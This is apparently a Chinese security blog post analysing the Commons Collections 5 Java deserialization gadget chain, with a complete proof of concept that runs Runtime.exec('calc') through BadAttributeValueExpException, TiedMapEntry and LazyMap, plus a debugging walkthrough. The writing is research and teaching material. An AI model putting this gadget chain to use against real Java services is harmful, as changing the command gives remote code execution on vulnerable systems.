Java安全之Commons Collections5分析
Java安全之Commons Collections5分析
文章首发:Java安全之Commons Collections5分析
0x00 前言
在后面的几条CC链中,如果和前面的链构造都是基本一样的话,就不细讲了,参考一下前面的几篇文。
在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。先来介绍一下SecurityManager是干嘛的。SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。
0x01 POC分析
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
前面的上半段和CC1链是一模一样的,主要来分析在这两者中不同的部分。
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
前面的new了一个HashMap传入到LazyMap里面,同时也传入了 ChainedTransformer实例化对象,当调用get方法的时候,就会调用到 ChainedTransformer的transformf方法,这个没啥好说的,老面孔了。前面也分析过好几回了。主要的是下面的这一段代码。
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
TiedMapEntry是一个新生面孔,来查看一下该类源码。

该类的构造方法需要2个参数。所以我们的POC代码中,传入了一个LazyMap实例化对象和一个123的字符做占位。

而在getValue方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。这里先不做分析,来到下一步,查看一下,哪个地方会调用到该方法。

而在toString方法里面就会去调用到getValue方法。
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
再来看下面一段代码,new了一个BadAttributeValueExpException的对象,并且反射获取val的值,将val的值设置为TiedMapEntry实例化对象。

在BadAttributeValueExpException的readObject方法会获取到val的值,然后赋值给valObj变量,然后调用valObj的toString方法。
0x02 CC5链调试
在readObject复写点打个断点,也就是BadAttributeValueExpException的readObject方法。

上面断点的地方会去获取val的值,赋值给valObj,前面我们使用反射将val设置为TiedMapEntry的对象。
这里会去调用valObj的toString方法,也就是TiedMapEntry的toString方法。跟进一下该方法,查看调用。

这里面会去调用getKey和getValue方法,这里选择跟踪getValue方法。

这里的this.map为LazyMap实例化对象,是在创建TiedMapEntry对象的时候传参进去的。再跟进一下get方法就和前面调试CC1链的步骤一样了。

这里会去调用this.factory的transform,也就是ChainedTransformer的transform。再来跟进一下。

接着就是遍历调用数组里面的transform方法。第一个值为ConstantTransformer,会直接返回传参的值。

这里返回的是Runtime,将该值传入第二次的参数里面调用transform方法。


第二次遍历的值是InvokerTransformer对象, 这里的transform方法会反射去获取方法并且进行执行。第二次执行返回的是Runtime.getRuntime的实例化对象。再传入到第三次执行的参数里面去执行。

第三次去执行则是获取返回他的invoke方法,传入给第四次执行的参数里面。

第四次执行里面的this.iMethodName为exec,this.iArgs为calc。执行完成这一步过后就会去执行我们设置好的命令,也就是calc。弹出计算器。

调用链
BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec
0x03 结尾
其实在该链的后面中,并没有写太详细,因为后面和CC1链中的都是一模一样的。如果没有去调试过的话,建议先去调试一下CC1的链
Java安全之Commons Collections5分析的更多相关文章
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
- ref:Java安全之反序列化漏洞分析(简单-朴实)
ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...
随机推荐
- 趣图:当我修复一个隐藏Bug之后
当我修复一个隐藏Bug时 然后,陷入了死循环中.... 扩展阅读 趣图:大佬如何解决bug的 趣图:快下班了,剩一个bug,修复一下再走 趣图:当我给老板展示我修复了那个 bug 时 趣图:当同事 ...
- python的快捷键
常用快捷键 1.Ctrl + Enter:在下方新建行但不移动光标 2.Shift + Enter:在下方新建行并移到新行行首 3.Ctrl + /:注释(取消注释)选择的行 4.Ctrl + Alt ...
- linux循环定时任务
crond定时任务 centos # 重启服务 service crond restart ----------------------------------------- chkconfig cr ...
- Tomcat学习小记(二)
1.Tomcat源码入口 生命周期统一管理接口:LifeCycle 实现LifeCycle接口的类:(idea快捷键:Ctrl+h) 多个组件共同实现LifeCycle接口 Tomcat启动入口分析: ...
- Redis小记(二)
1.redis数据库 redis数据库属于内存数据库,若不将数据存到磁盘中,服务器进程退出,数据也会消失 redis所有数据库都保存在redisServer结构的db数组中,db数组的每一项都是一个r ...
- Python-进程-进程池-原理
进程 资源集合,调度和分配资源,说到进程就不得不提到线程,线程和进程是密不可分,进程申请了资源,但真正使用资源的是线程,其实本质上类似面向对象的思想,面向对象把数据和数据的操作封装在一个类中,进程把资 ...
- Linux ALSA 音频库 配置和使用
ALSA应用库是核心功能,而alsa-utils是一些工具功能集合库.单纯地播放一个wav文件,使用alsa-utils即可,如果还需要合成音频.调试音频质量,那么就需要ALSA应用库. 欲安装使用A ...
- sqli-labs第三关 详解
通过第二关,来到第三关 我们用了前两种方法,都报错,然后自己也不太会别的注入,然后莫名的小知识又增加了.这居然是一个带括号的字符型注入, 这里我们需要闭合前面的括号. $sql=select * fr ...
- python图像的绘制
转载:https://blog.csdn.net/haoji007/article/details/52063168 实际上前面我们就已经用到了图像的绘制,如: io.imshow(img) 这一行代 ...
- @FeignClient注解详解
Spring Cloud 是目前最火的微服务框架,Feign 作为基础组件之一,在 Spring Cloud 体系中发挥了重要的作用. 一.FeignClient注解 FeignClient注解被@T ...